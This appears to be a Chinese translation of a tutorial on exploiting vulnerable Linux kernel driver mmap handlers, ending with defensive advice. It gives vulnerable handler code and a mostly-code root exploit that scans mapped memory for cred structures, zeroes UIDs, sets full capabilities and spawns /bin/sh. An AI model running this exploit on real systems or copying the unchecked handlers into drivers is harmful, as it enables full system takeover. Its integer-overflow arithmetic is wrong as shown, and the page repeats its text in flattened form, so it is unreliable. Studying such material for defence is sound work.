内核驱动mmap处理程序利用(翻译)
字数 1330 2025-08-25 22:59:03

Linux内核驱动mmap处理程序利用技术详解

1. 内核驱动程序基础

1.1 设备驱动程序文件操作

Linux内核驱动程序通过file_operations结构体定义设备文件支持的操作,包括打开、读取、写入、内存映射(mmap)和关闭等。关键结构定义如下:

struct file_operations {
    struct module *owner;
    loff_t (*llseek)(struct file *, loff_t, int);
    ssize_t (*read)(struct file *, char __user *, size_t, loff_t *);
    ssize_t (*write)(struct file *, const char __user *, size_t, loff_t *);
    int (*mmap)(struct file *, struct vm_area_struct *);
    int (*open)(struct inode *, struct file *);
    int (*release)(struct inode *, struct file *);
    // 其他操作...
};

1.2 mmap处理程序的作用

mmap处理程序的主要目的是加速用户空间与内核空间之间的数据交换,允许用户空间进程直接访问内核缓冲区或物理内存区域,无需额外的系统调用。

2. mmap处理程序实现模式

2.1 简单mmap实现

static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
    if (remap_pfn_range(vma, vma->vm_start, 
                       virt_to_pfn(filp->private_data),
                       vma->vm_end - vma->vm_start, 
                       vma->vm_page_prot)) {
        return -EAGAIN;
    }
    return 0;
}

这种实现直接将内核缓冲区映射到用户空间,但存在严重安全问题:未验证vma->vm_endvma->vm_start的值,可能导致内核内存泄露。

2.2 空mmap处理程序

static int empty_mmap(struct file *filp, struct vm_area_struct *vma)
{
    return 0;
}

即使处理程序为空,内核仍会创建映射,但映射无效。访问这类映射可能导致进程崩溃或内核崩溃。

2.3 使用vm_operations_struct的mmap

static struct vm_operations_struct simple_remap_vm_ops = {
    .open = simple_vma_open,
    .close = simple_vma_close,
    .fault = simple_vma_fault,
};

static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
    vma->vm_private_data = filp->private_data;
    vma->vm_ops = &simple_remap_vm_ops;
    return 0;
}

int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
    unsigned long offset = ...;
    struct page *page = virt_to_page(vma->vm_private_data + offset);
    vmf->page = page;
    get_page(page);
    return 0;
}

这种实现通过fault处理程序按需映射页面,但仍可能因偏移验证不足导致安全问题。

3. 常见漏洞模式

3.1 用户输入验证缺失

问题1:未验证映射大小

remap_pfn_range(vma, vma->vm_start, virt_to_pfn(filp->private_data),
               vma->vm_end - vma->vm_start, vma->vm_page_prot)

攻击者可指定超大size映射内核内存。

问题2:直接使用用户控制偏移

remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff, ...)

允许攻击者映射任意物理地址。

3.2 整数溢出

unsigned int vma_size = vma->vm_end - vma->vm_start;
unsigned int offset = vma->vm_pgoff << PAGE_SHIFT;

if (vma_size + offset > 0x10000) {  // 可能溢出
    return -EAGAIN;
}

vma_size=0xfffa000offset=0xf0006时,vma_size + offset = 0x100000000会溢出为0。

3.3 有符号整数误用

int vma_size = vma->vm_end - vma->vm_start;
int offset = vma->vm_pgoff << PAGE_SHIFT;

if (vma_size > 0x10000 || offset < 0 || ...) {
    return -EAGAIN;
}

攻击者可提供负值绕过检查。

4. 利用技术

4.1 利用cred结构提权

cred结构关键字段:

struct cred {
    atomic_t usage;
    kuid_t uid;     /* real UID */
    kgid_t gid;     /* real GID */
    kuid_t suid;    /* saved UID */
    kgid_t sgid;    /* saved GID */
    kuid_t euid;    /* effective UID */
    kgid_t egid;    /* effective GID */
    kuid_t fsuid;   /* UID for VFS ops */
    kgid_t fsgid;   /* GID for VFS ops */
    kernel_cap_t cap_inheritable; /* inheritable caps */
    kernel_cap_t cap_permitted;   /* permitted caps */
    kernel_cap_t cap_effective;   /* effective caps */
    // ...
};

提权步骤:

  1. 获取当前进程的UID/GID
  2. 扫描内存寻找匹配的8个连续UID/GID值
  3. 将这些值修改为0
  4. 检查是否获得root权限
  5. 修改capabilities为全1
  6. 启动root shell

4.2 实际利用代码示例

int main(int argc, char *const *argv) {
    int fd = open("/dev/vuln_device", O_RDWR);
    unsigned long size = 0xf0000000;
    unsigned long *addr = mmap(0x42424000, size, PROT_READ|PROT_WRITE, 
                              MAP_SHARED, fd, 0x0);
    
    unsigned int uid = getuid();
    while ((unsigned long)addr < (0x42424000 + size - 0x40)) {
        if (addr[0] == uid && addr[1] == uid && ... addr[7] == uid) {
            // 修改UID/GID为0
            for (int i = 0; i < 8; i++) addr[i] = 0;
            
            if (getuid() == 0) {
                // 修改capabilities
                addr += 9;  // 跳过securebits
                for (int i = 0; i < 5; i++) addr[i] = 0xffffffff;
                execl("/bin/sh", "-", NULL);
            } else {
                // 恢复原值
                for (int i = 0; i < 8; i++) addr[i] = uid;
            }
        }
        addr++;
    }
    return 0;
}

4.3 信息泄露利用

当只能读取映射内存时,可利用fault处理程序泄露内核内存:

int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
    unsigned long offset = ...;
    if (offset > PAGE_SIZE << 4) goto nopage_out;
    page = virt_to_page(vma->vm_private_data + offset);
    vmf->page = page;
    get_page(page);
    return 0;
}

通过映射大于驱动程序缓冲区大小的区域,可以访问缓冲区后的内核内存。

5. 高级技巧

5.1 绕过大小限制

当mmap处理程序限制映射大小时,可先创建小映射再使用mremap扩大:

unsigned long *addr = mmap(0x42424000, 0x1000, PROT_READ, MAP_SHARED, fd, 0);
addr = mremap(addr, 0x1000, 0x10000, 0);

5.2 其他危险函数

remap_pfn_range外,以下函数也可能被滥用:

  • vm_insert_page
  • vm_insert_pfn
  • vm_insert_pfn_prot
  • io_remap_pfn_range
  • remap_vmalloc_range

5.3 漏洞存在位置

易受攻击的mmap处理程序可能存在于:

  • 设备驱动程序
  • proc文件系统
  • sysfs/debugfs
  • 自定义文件系统
  • 提供文件描述符的任何子系统

6. 防御建议

  1. 严格验证所有用户输入:包括映射大小、偏移量和权限
  2. 使用无符号类型进行大小计算:避免整数溢出
  3. 限制可映射范围:只允许映射必要的内存区域
  4. 实施最小权限原则:默认只读,必要时才可写
  5. 启用内核安全特性:如KASLR、SMAP/SMEP等

通过理解这些漏洞模式和利用技术,开发人员可以编写更安全的驱动程序,安全研究人员也能更有效地发现和验证此类漏洞。

Linux内核驱动mmap处理程序利用技术详解 1. 内核驱动程序基础 1.1 设备驱动程序文件操作 Linux内核驱动程序通过 file_operations 结构体定义设备文件支持的操作,包括打开、读取、写入、内存映射(mmap)和关闭等。关键结构定义如下: 1.2 mmap处理程序的作用 mmap处理程序的主要目的是加速用户空间与内核空间之间的数据交换,允许用户空间进程直接访问内核缓冲区或物理内存区域,无需额外的系统调用。 2. mmap处理程序实现模式 2.1 简单mmap实现 这种实现直接将内核缓冲区映射到用户空间,但存在严重安全问题:未验证 vma->vm_end 和 vma->vm_start 的值,可能导致内核内存泄露。 2.2 空mmap处理程序 即使处理程序为空,内核仍会创建映射,但映射无效。访问这类映射可能导致进程崩溃或内核崩溃。 2.3 使用vm_ operations_ struct的mmap 这种实现通过fault处理程序按需映射页面,但仍可能因偏移验证不足导致安全问题。 3. 常见漏洞模式 3.1 用户输入验证缺失 问题1:未验证映射大小 攻击者可指定超大size映射内核内存。 问题2:直接使用用户控制偏移 允许攻击者映射任意物理地址。 3.2 整数溢出 当 vma_size=0xfffa000 和 offset=0xf0006 时, vma_size + offset = 0x100000000 会溢出为0。 3.3 有符号整数误用 攻击者可提供负值绕过检查。 4. 利用技术 4.1 利用cred结构提权 cred结构关键字段: 提权步骤: 获取当前进程的UID/GID 扫描内存寻找匹配的8个连续UID/GID值 将这些值修改为0 检查是否获得root权限 修改capabilities为全1 启动root shell 4.2 实际利用代码示例 4.3 信息泄露利用 当只能读取映射内存时,可利用fault处理程序泄露内核内存: 通过映射大于驱动程序缓冲区大小的区域,可以访问缓冲区后的内核内存。 5. 高级技巧 5.1 绕过大小限制 当mmap处理程序限制映射大小时,可先创建小映射再使用mremap扩大: 5.2 其他危险函数 除 remap_pfn_range 外,以下函数也可能被滥用: vm_insert_page vm_insert_pfn vm_insert_pfn_prot io_remap_pfn_range remap_vmalloc_range 5.3 漏洞存在位置 易受攻击的mmap处理程序可能存在于: 设备驱动程序 proc文件系统 sysfs/debugfs 自定义文件系统 提供文件描述符的任何子系统 6. 防御建议 严格验证所有用户输入 :包括映射大小、偏移量和权限 使用无符号类型进行大小计算 :避免整数溢出 限制可映射范围 :只允许映射必要的内存区域 实施最小权限原则 :默认只读,必要时才可写 启用内核安全特性 :如KASLR、SMAP/SMEP等 通过理解这些漏洞模式和利用技术,开发人员可以编写更安全的驱动程序,安全研究人员也能更有效地发现和验证此类漏洞。